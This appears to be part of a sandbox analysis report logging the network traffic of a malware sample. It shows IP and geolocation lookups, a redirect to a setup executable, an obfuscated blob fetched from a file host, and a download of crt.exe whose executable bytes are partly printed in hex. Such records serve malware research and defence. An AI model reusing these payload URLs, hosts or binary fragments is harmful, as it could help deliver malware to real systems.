May 24, 2024 09:43:51.777461052 CEST	264	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:51 GMT Content-Type: text/plain Content-Length: 10 Last-Modified: Fri, 26 Apr 2024 16:30:25 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "662bd6a1-a" Accept-Ranges: bytes Data Raw: 32 2e 30 2e 30 2e 33 31 35 36 Data Ascii: 2.0.0.3156

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	50048	108.156.60.94	80

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:43:51.841090918 CEST	199	OUT	GET /updates/yd/yt_wrtzr_1/win/version.txt HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: skrptfiles.tracemonitors.com
May 24, 2024 09:43:52.547369003 CEST	499	IN	HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 10 Connection: keep-alive Last-Modified: Fri, 26 Apr 2024 16:30:30 GMT x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 23 May 2024 13:03:50 GMT ETag: "7cd87a7be31d1136f722e801719f6da3" X-Cache: Hit from cloudfront Via: 1.1 96e04892ec84a7161914f66c3ba3b5f0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS1-P2 X-Amz-Cf-Id: 9SGR58vBAgaAMP--5-FdSnBA28UFuMSSUHdVNYTeg1hrJATBuCSQig== Age: 67203
May 24, 2024 09:43:52.647420883 CEST	10	IN	Data Raw: 32 2e 30 2e 30 2e 33 31 35 36 Data Ascii: 2.0.0.3156

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	50050	185.22.66.15	80

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:43:51.910324097 CEST	116	OUT	GET /clrls/cl_rls.json HTTP/1.1 Host: www.rapidfilestorage.com Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 09:43:52.726309061 CEST	1236	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 24 May 2024 07:43:52 GMT Content-Type: application/json Content-Length: 50997 Connection: keep-alive Set-Cookie: slb_route=44fec3a2d4e8f0a420dbe578a10a780f; Path=/; Secure; HttpOnly Last-Modified: Wed, 24 Apr 2024 08:42:48 GMT ETag: "6628c608-c735" Accept-Ranges: bytes X-Resolver-IP: 185.22.66.15 X-Resolver-IP: 185.22.66.15 Data Raw: 2d 47 72 53 33 56 73 53 34 51 72 53 31 45 72 53 38 46 72 53 30 5b 72 53 36 7a 71 53 39 45 72 53 34 5c 72 53 37 56 73 53 38 4e 73 53 31 58 73 53 33 47 72 53 30 56 73 53 32 57 72 53 34 56 73 53 32 4e 73 53 37 58 73 53 34 61 71 53 37 56 73 53 33 59 71 53 32 5a 72 53 39 45 72 53 34 46 72 53 35 56 72 53 31 5b 72 53 33 43 72 53 38 5c 72 53 34 60 71 53 31 59 72 53 36 5d 72 53 37 55 72 53 32 56 73 53 34 64 73 53 33 58 73 53 36 56 73 53 32 63 71 53 33 60 71 53 38 70 71 53 39 5b 72 53 36 43 72 53 31 5c 72 53 37 5e 72 53 34 5b 72 53 34 51 72 53 37 56 72 53 39 55 72 53 33 7a 71 53 30 56 73 53 32 64 73 53 31 58 73 53 37 56 73 53 36 45 72 53 38 6a 71 53 34 51 72 53 37 7a 71 53 31 56 73 53 34 64 73 53 39 58 73 53 35 56 73 53 36 5e 73 53 35 49 72 53 33 4f 72 53 38 6b 71 53 33 45 72 53 39 46 72 53 39 5b 72 53 38 78 71 53 37 51 72 53 33 45 72 53 32 5c 72 53 33 4f 72 53 39 5a 72 53 35 65 71 53 31 56 73 53 38 64 73 53 33 58 73 53 37 56 73 53 32 44 72 53 31 43 72 53 32 56 72 53 32 7a 71 53 35 44 72 53 35 51 72 53 39 5a [TRUNCATED] Data Ascii: -GrS3VsS4QrS1ErS8FrS0[rS6zqS9ErS4\rS7VsS8NsS1XsS3GrS0VsS2WrS4VsS2NsS7XsS4aqS7VsS3YqS2ZrS9ErS4FrS5VrS1[rS3CrS8\rS4`qS1YrS6]rS7UrS2VsS4dsS3XsS6VsS2cqS3`qS8pqS9[rS6CrS1\rS7^rS4[rS4QrS7VrS9UrS3zqS0VsS2dsS1XsS7VsS6ErS8jqS4QrS7zqS1VsS4dsS9XsS5VsS6^sS5IrS3OrS8kqS3ErS9FrS9[rS8xqS7QrS3ErS2\rS3OrS9ZrS5eqS1VsS8dsS3XsS7VsS2DrS1CrS2VrS2zqS5DrS5QrS9ZrS4YrS0FrS0BrS9VsS1dsS1XsS9VsS5]qS6UrS3PrS2ZqS1ErS2^rS8UrS9zqS3VsS5dsS5XsS6VsS9uqS3\rS6UrS3FrS2QrS2PrS3PrS6UrS3zqS9VsS3dsS7XsS9VsS5yqS3]rS1VrS7TrS8zqS1WrS9VsS9dsS6XsS7VsS7wqS5YrS4OrS2zqS1[rS2yqS9[rS6TrS4FrS8XsS6^qS3YrS6yqS6ErS9QrS1^rS8XsS7YqS5FrS7ErS0VrS6YrS3[rS4VsS7gqS4dsS9XsS5VsS2DrS4VsS8NsS3XsS8aqS2VsS9^sS4YqS6ZrS6ErS2FrS8VrS1[rS0CrS2\rS1`qS2YrS9]rS1UrS2VsS2gqS3MrS8dsS0XsS1VsS0OrS6ZrS3zqS6[rS1]rS6YrS8ErS3]rS2yqS7VsS0NsS1XsS9aqS3VsS8QrS6QrS9QrS7QrS7QrS6VrS3SrS8UrS3BrS2XrS8WrS5VrS0TrS6TrS6ZrS3XrS2PrS6WrS5Tr
May 24, 2024 09:43:52.728063107 CEST	1236	IN	Data Raw: 53 39 58 72 53 38 53 72 53 39 5c 72 53 38 5c 72 53 36 54 72 53 37 54 72 53 32 5c 72 53 39 54 72 53 34 4f 72 53 39 54 72 53 38 54 72 53 35 50 72 53 32 53 72 53 33 56 73 53 39 64 73 53 35 58 73 53 38 56 73 53 32 51 72 53 34 51 72 53 39 51 72 53 35 Data Ascii: S9XrS8SrS9\rS8\rS6TrS7TrS2\rS9TrS4OrS9TrS8TrS5PrS2SrS3VsS9dsS5XsS8VsS2QrS4QrS9QrS5QrS0QrS8UrS6XrS3QrS1SrS4ZrS3\rS9PrS5OrS3XrS1YrS2^rS7YrS7\rS4VrS2BrS9WrS4SrS8]rS4OrS5]rS4VrS9TrS1^rS4BrS1SrS8XrS4TrS1VsS1dsS2XsS5VsS6QrS8QrS2QrS7QrS2QrS2BrS7VrS0O
May 24, 2024 09:43:52.733454943 CEST	1236	IN	Data Raw: 53 34 5b 72 53 37 59 72 53 34 5c 72 53 35 57 72 53 33 51 72 53 36 56 72 53 34 54 72 53 37 58 72 53 35 53 72 53 37 50 72 53 36 5b 72 53 39 58 72 53 38 5e 72 53 30 51 72 53 35 50 72 53 33 5d 72 53 33 51 72 53 37 59 72 53 30 55 72 53 38 51 72 53 39 Data Ascii: S4[rS7YrS4\rS5WrS3QrS6VrS4TrS7XrS5SrS7PrS6[rS9XrS8^rS0QrS5PrS3]rS3QrS7YrS0UrS8QrS9SrS2YrS2OrS0PrS3[rS7^rS3]rS1ZrS5VsS0dsS4XsS4VsS4QrS7YrS5YrS1]rS1VrS2WrS4VrS5\rS1SrS9TrS9OrS9YrS9BrS1XrS5[rS5ZrS7PrS7XrS0UrS5\rS4WrS1QrS9ZrS8ZrS5^rS7ZrS2OrS6OrS5B
May 24, 2024 09:43:52.736604929 CEST	1236	IN	Data Raw: 53 35 42 72 53 33 54 72 53 31 5c 72 53 37 5a 72 53 30 55 72 53 39 5b 72 53 36 59 72 53 38 56 73 53 31 64 73 53 33 58 73 53 37 56 73 53 35 50 72 53 34 51 72 53 34 42 72 53 38 55 72 53 35 50 72 53 31 55 72 53 39 57 72 53 35 4f 72 53 36 51 72 53 38 Data Ascii: S5BrS3TrS1\rS7ZrS0UrS9[rS6YrS8VsS1dsS3XsS7VsS5PrS4QrS4BrS8UrS5PrS1UrS9WrS5OrS6QrS8BrS3UrS7ZrS3TrS7QrS5BrS7OrS3YrS7^rS6[rS4]rS0PrS6PrS2SrS6UrS2BrS9SrS1UrS4VrS9]rS3\rS6]rS7\rS1VsS6dsS6XsS1VsS5PrS8VrS6TrS2XrS4OrS4BrS5VrS7YrS0\rS7[rS6]rS3]rS9QrS1B
May 24, 2024 09:43:52.736620903 CEST	1236	IN	Data Raw: 53 30 51 72 53 31 5a 72 53 37 5b 72 53 33 57 72 53 39 51 72 53 37 55 72 53 34 5e 72 53 39 5c 72 53 36 5b 72 53 32 5d 72 53 31 53 72 53 35 53 72 53 34 50 72 53 37 5b 72 53 38 5a 72 53 31 54 72 53 36 50 72 53 39 59 72 53 32 5d 72 53 34 4f 72 53 38 Data Ascii: S0QrS1ZrS7[rS3WrS9QrS7UrS4^rS9\rS6[rS2]rS1SrS5SrS4PrS7[rS8ZrS1TrS6PrS9YrS2]rS4OrS8YrS9QrS6VsS3dsS5XsS8VsS5PrS7BrS1YrS3[rS4BrS0]rS8\rS4UrS4UrS1QrS9VrS9TrS3QrS7BrS6YrS4TrS4UrS4XrS1WrS4TrS4BrS0QrS3ZrS5BrS4^rS6XrS7WrS8YrS3OrS9BrS4YrS8WrS0VsS0dsS6X
May 24, 2024 09:43:52.742043972 CEST	1120	IN	Data Raw: 53 33 53 72 53 32 56 73 53 38 64 73 53 38 58 73 53 33 56 73 53 36 4f 72 53 33 5a 72 53 35 57 72 53 30 5e 72 53 39 51 72 53 39 51 72 53 33 5c 72 53 35 5a 72 53 37 54 72 53 33 55 72 53 34 54 72 53 31 50 72 53 33 5c 72 53 32 42 72 53 31 5b 72 53 37 Data Ascii: S3SrS2VsS8dsS8XsS3VsS6OrS3ZrS5WrS0^rS9QrS9QrS3\rS5ZrS7TrS3UrS4TrS1PrS3\rS2BrS1[rS7YrS0ZrS1OrS6WrS4PrS2\rS7UrS8TrS9ZrS5QrS5WrS2SrS9[rS5^rS6\rS9]rS5OrS6VsS7dsS3XsS1VsS9OrS3XrS9QrS8PrS2]rS9VrS9XrS8OrS1TrS1OrS1TrS1VrS4]rS5TrS9TrS7YrS6]rS2\rS2VrS1Z
May 24, 2024 09:43:52.744889021 CEST	1236	IN	Data Raw: 53 39 5a 72 53 34 5a 72 53 35 53 72 53 36 53 72 53 33 53 72 53 32 4f 72 53 32 5d 72 53 32 58 72 53 37 50 72 53 35 56 73 53 31 64 73 53 37 58 73 53 35 56 73 53 35 4f 72 53 34 42 72 53 37 50 72 53 39 53 72 53 38 5a 72 53 31 42 72 53 34 51 72 53 34 Data Ascii: S9ZrS4ZrS5SrS6SrS3SrS2OrS2]rS2XrS7PrS5VsS1dsS7XsS5VsS5OrS4BrS7PrS9SrS8ZrS1BrS4QrS4^rS9TrS1TrS0SrS4]rS5SrS1[rS0OrS3]rS7\rS9YrS5SrS9TrS3ZrS6QrS0^rS2SrS7ZrS9]rS3QrS1UrS1]rS5TrS5TrS6[rS4VsS3dsS7XsS2VsS3VrS8QrS8QrS1\rS8SrS7^rS1BrS7OrS1BrS2WrS3XrS4X
May 24, 2024 09:43:52.744905949 CEST	1236	IN	Data Raw: 53 37 51 72 53 39 5d 72 53 38 42 72 53 39 57 72 53 30 5b 72 53 39 53 72 53 32 5d 72 53 32 57 72 53 35 5d 72 53 32 5c 72 53 38 5d 72 53 37 42 72 53 37 54 72 53 32 5a 72 53 30 54 72 53 31 42 72 53 30 50 72 53 33 53 72 53 32 55 72 53 37 56 72 53 34 Data Ascii: S7QrS9]rS8BrS9WrS0[rS9SrS2]rS2WrS5]rS2\rS8]rS7BrS7TrS2ZrS0TrS1BrS0PrS3SrS2UrS7VrS4BrS5]rS8TrS8]rS5VsS6dsS1XsS1VsS8VrS2XrS4ZrS6SrS7YrS5QrS6ZrS8[rS9]rS1XrS9WrS0QrS1PrS0XrS0VrS5[rS3VrS4^rS4UrS5]rS1ZrS3\rS5ZrS3PrS2\rS9PrS0TrS2OrS6[rS1]rS4QrS9]rS1V
May 24, 2024 09:43:52.750462055 CEST	1236	IN	Data Raw: 53 31 55 72 53 33 5b 72 53 34 5d 72 53 32 56 73 53 31 64 73 53 30 58 73 53 32 56 73 53 31 56 72 53 32 42 72 53 32 56 72 53 34 5d 72 53 31 5a 72 53 31 54 72 53 30 5b 72 53 37 4f 72 53 34 59 72 53 36 5e 72 53 30 5c 72 53 30 55 72 53 36 57 72 53 32 Data Ascii: S1UrS3[rS4]rS2VsS1dsS0XsS2VsS1VrS2BrS2VrS4]rS1ZrS1TrS0[rS7OrS4YrS6^rS0\rS0UrS6WrS2UrS6OrS2TrS9XrS9SrS6YrS5]rS7XrS1VrS3UrS1OrS1WrS5QrS1OrS0ZrS0TrS7PrS9UrS2OrS0VsS1dsS9XsS0VsS2UrS1QrS6ZrS0UrS9PrS4QrS2]rS6YrS0[rS4BrS2VrS8ZrS6UrS0TrS8\rS0VrS8\rS7]
May 24, 2024 09:43:52.750488043 CEST	1236	IN	Data Raw: 53 39 58 72 53 32 56 72 53 31 59 72 53 39 51 72 53 31 5a 72 53 37 5d 72 53 37 53 72 53 32 5b 72 53 34 51 72 53 37 58 72 53 38 4f 72 53 32 50 72 53 31 42 72 53 38 58 72 53 31 54 72 53 36 5d 72 53 36 5d 72 53 31 54 72 53 35 56 73 53 39 64 73 53 32 Data Ascii: S9XrS2VrS1YrS9QrS1ZrS7]rS7SrS2[rS4QrS7XrS8OrS2PrS1BrS8XrS1TrS6]rS6]rS1TrS5VsS9dsS2XsS5VsS5UrS8YrS0ZrS0ZrS7SrS1UrS7WrS2[rS6\rS0ZrS8UrS5YrS5^rS5YrS0QrS0YrS0VrS7[rS5]rS8TrS1TrS7BrS0BrS1^rS0TrS7ZrS2UrS7OrS0]rS9WrS7QrS5SrS6VsS6dsS4XsS5VsS1UrS1YrS9Y
May 24, 2024 09:43:52.750503063 CEST	1236	IN	Data Raw: 53 32 56 73 53 38 54 72 53 31 4f 72 53 34 53 72 53 32 5c 72 53 33 59 72 53 39 53 72 53 38 5d 72 53 36 5b 72 53 33 54 72 53 34 55 72 53 31 57 72 53 38 4f 72 53 33 5e 72 53 38 5e 72 53 34 53 72 53 37 50 72 53 37 59 72 53 38 55 72 53 37 58 72 53 32 Data Ascii: S2VsS8TrS1OrS4SrS2\rS3YrS9SrS8]rS6[rS3TrS4UrS1WrS8OrS3^rS8^rS4SrS7PrS7YrS8UrS7XrS2ZrS5]rS7YrS8SrS6SrS8SrS2]rS8SrS7UrS6ZrS3WrS9YrS0BrS6VsS7dsS0XsS7VsS5TrS7OrS3\rS2[rS9VrS6OrS7ZrS4YrS8ZrS1BrS5PrS8OrS3XrS6YrS3[rS4TrS8YrS5VrS3WrS6WrS2UrS3QrS8YrS6[

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	172.67.75.163	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:41:59 UTC	187	OUT	GET / HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: api.myip.com
2024-05-24 07:41:59 UTC	569	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:41:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zh8gzxIS4bLbYwTc%2F6AUzYnMDdB2KuTKkT%2BnNoSginCfx93ZT%2FO8nw9KJ0%2BjPnlHTOhjc%2FMFzWsqhDz7kdVuHtFMpJUl5cmqeRh5D3qGlgpceFtdcJFGK7kzqAKNyQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba5807a403350-EWR
2024-05-24 07:41:59 UTC	63	IN	Data Raw: 33 39 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 63 22 3a 22 55 53 22 7d 0d 0a Data Ascii: 39{"ip":"8.46.123.175","country":"United States","cc":"US"}
2024-05-24 07:41:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	34.117.186.192	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:00 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 07:42:00 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 07:42:00 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 07:42:00 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-24 07:42:00 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49748	188.114.97.3	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:05 UTC	222	OUT	HEAD /jhgfd HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Cache-Control: no-cache Host: fleur-de-lis.sbs Connection: Keep-Alive
2024-05-24 07:42:06 UTC	906	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 07:42:06 GMT Content-Type: text/html; charset=utf-8 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Fri, 24 May 2024 07:42:05 GMT Location: /var/www/keitaro/post/File_294/setup294.exe Set-Cookie: _subid=38akcjk2e8lg2; expires=Mon, 24 Jun 2024 07:42:06 GMT; path=/ Set-Cookie: 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjI0OVwiOjE3MTY1MzY1MjV9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE2NTM2NTI1fSxcInRpbWVcIjoxNzE2NTM2NTI1fSJ9.j44058psupnUysTtdISWQPrExbM7CT9xTMjMxxQUiB0; expires=Sun, 16 Oct 2078 15:24:12 GMT; path=/ Set-Cookie: _token=uuid_38akcjk2e8lg2_38akcjk2e8lg2665044ce24fd99.54897045; expires=Mon, 24 Jun 2024 07:42:06 GMT; path=/ Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 888ba5a6891043aa-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49754	188.114.97.3	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:06 UTC	203	OUT	GET /ssl/crt.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: lop.foxesjoy.com Cache-Control: no-cache
2024-05-24 07:42:06 UTC	751	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:06 GMT Content-Type: application/octet-stream Content-Length: 5731975 Connection: close Content-Description: File Transfer Content-Disposition: attachment; filename=crt.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UebFHRFdaXGO1f4h19HJPikguEvqUqJkiBk%2Feu0MX3IQCvEq6J0Zdooj4OUn62NAMeDaqROEY4nLSCNxsZsGC1utQDRt%2FQyabC28o6fYTuHYLLlCyq%2F4s6MGKXwy8lsiecdH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba5a8d9901a40-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:06 UTC	618	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
2024-05-24 07:42:06 UTC	1369	IN	Data Raw: 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 50 09 00 00 00 d0 00 00 00 0a 00 00 00 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 e0 00 00 00 00 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 f0 00 00 00 02 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 b4 08 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 2c 00 00 00 10 01 00 00 2c 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 00 00 00 00 00 de 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 Data Ascii: .idataP@.tls.rdata@P.reloc@P.rsrc,,@P@@P
2024-05-24 07:42:06 UTC	1369	IN	Data Raw: f0 75 1b 8b 42 04 01 43 08 8b 42 04 29 43 0c 83 7b 0c 00 75 44 8b c3 e8 35 ff ff ff eb 3b 8b 0a 8b 72 04 03 ce 8b f8 03 7b 0c 3b cf 75 05 29 73 0c eb 26 8b 0a 03 4a 04 89 0c 24 2b f9 89 7c 24 04 8b 12 2b d0 89 53 0c 8b d4 8b c3 e8 d0 fe ff ff 84 c0 75 04 33 c0 eb 0c b0 01 eb 08 8b 1b 3b fb 75 85 33 c0 59 5a 5d 5f 5e 5b c3 90 53 56 57 8b da 8b f0 81 fe 00 00 10 00 7d 07 be 00 00 10 00 eb 0c 81 c6 ff ff 00 00 81 e6 00 00 ff ff 89 73 04 6a 01 68 00 20 00 00 56 6a 00 e8 f8 fd ff ff 8b f8 89 3b 85 ff 74 23 8b d3 b8 3c c4 40 00 e8 6c fe ff ff 84 c0 75 13 68 00 80 00 00 6a 00 8b 03 50 e8 d9 fd ff ff 33 c0 89 03 5f 5e 5b c3 90 53 56 57 55 8b d9 8b f2 8b e8 c7 43 04 00 00 10 00 6a 04 68 00 20 00 00 68 00 00 10 00 55 e8 a5 fd ff ff 8b f8 89 3b 85 ff 75 1f 81 c6 ff Data Ascii: uBCB)C{uD5;r{;u)s&J$+\|$+Su3;u3YZ]_^[SVW}sjh Vj;t#<@luhjP3_^[SVWUCjh hU;u
2024-05-24 07:42:06 UTC	1369	IN	Data Raw: d2 55 68 ce 19 40 00 64 ff 32 64 89 22 68 1c c4 40 00 e8 39 f9 ff ff 80 3d 32 c0 40 00 00 74 0a 68 1c c4 40 00 e8 2e f9 ff ff b8 3c c4 40 00 e8 8c f9 ff ff b8 4c c4 40 00 e8 82 f9 ff ff b8 78 c4 40 00 e8 78 f9 ff ff 68 f8 0f 00 00 6a 00 e8 dc f8 ff ff a3 74 c4 40 00 83 3d 74 c4 40 00 00 74 2f b8 03 00 00 00 8b 15 74 c4 40 00 33 c9 89 4c 82 f4 40 3d 01 04 00 00 75 ec b8 5c c4 40 00 89 40 04 89 00 a3 68 c4 40 00 c6 05 15 c4 40 00 01 33 c0 5a 59 59 64 89 10 68 d5 19 40 00 80 3d 32 c0 40 00 00 74 0a 68 1c c4 40 00 e8 af f8 ff ff c3 e9 29 14 00 00 eb e5 a0 15 c4 40 00 5d c3 55 8b ec 53 80 3d 15 c4 40 00 00 0f 84 ce 00 00 00 33 d2 55 68 b4 1a 40 00 64 ff 32 64 89 22 80 3d 32 c0 40 00 00 74 0a 68 1c c4 40 00 e8 66 f8 ff ff c6 05 15 c4 40 00 00 a1 74 c4 40 00 50 Data Ascii: Uh@d2d"h@9=2@th@.<@L@x@xhjt@=t@t/t@3L@=u\@@h@@3ZYYdh@=2@th@)@]US=@3Uh@d2d"=2@th@f@t@P
2024-05-24 07:42:06 UTC	1369	IN	Data Raw: 84 c0 75 04 33 c0 eb 02 b0 01 59 5a 5b c3 90 53 56 83 c4 f8 8b f2 8b d8 8b cc 8d 56 04 8b c3 e8 cf f8 ff ff 83 3c 24 00 74 0b 8b c4 e8 26 ff ff ff 84 c0 75 04 33 c0 eb 02 b0 01 59 5a 5e 5b c3 8d 40 00 33 d2 c1 e8 02 3d 00 04 00 00 77 16 8b 15 74 c4 40 00 8b 54 82 f4 85 d2 75 08 40 3d 01 04 00 00 75 ea 8b c2 c3 8d 40 00 53 56 57 55 8b f0 bf 68 c4 40 00 bd 6c c4 40 00 8b 1d 60 c4 40 00 3b 73 08 0f 8e 84 00 00 00 8b 1f 8b 43 08 3b f0 7e 7b 89 73 08 8b 5b 04 3b 73 08 7f f8 8b 17 89 42 08 3b 1f 74 04 89 1f eb 63 81 fe 00 10 00 00 7f 0d 8b c6 e8 89 ff ff ff 8b d8 85 db 75 4e 8b c6 e8 1c ff ff ff 84 c0 75 07 33 c0 e9 88 00 00 00 3b 75 00 7f a4 29 75 00 83 7d 00 0c 7d 08 03 75 00 33 c0 89 45 00 a1 70 c4 40 00 01 35 70 c4 40 00 8b d6 83 ca 02 89 10 83 c0 04 ff 05 Data Ascii: u3YZ[SVV<$t&u3YZ^[@3=wt@Tu@=u@SVWUh@l@`@;sC;~{s[;sB;tcuNu3;u)u}}u3Ep@5p@
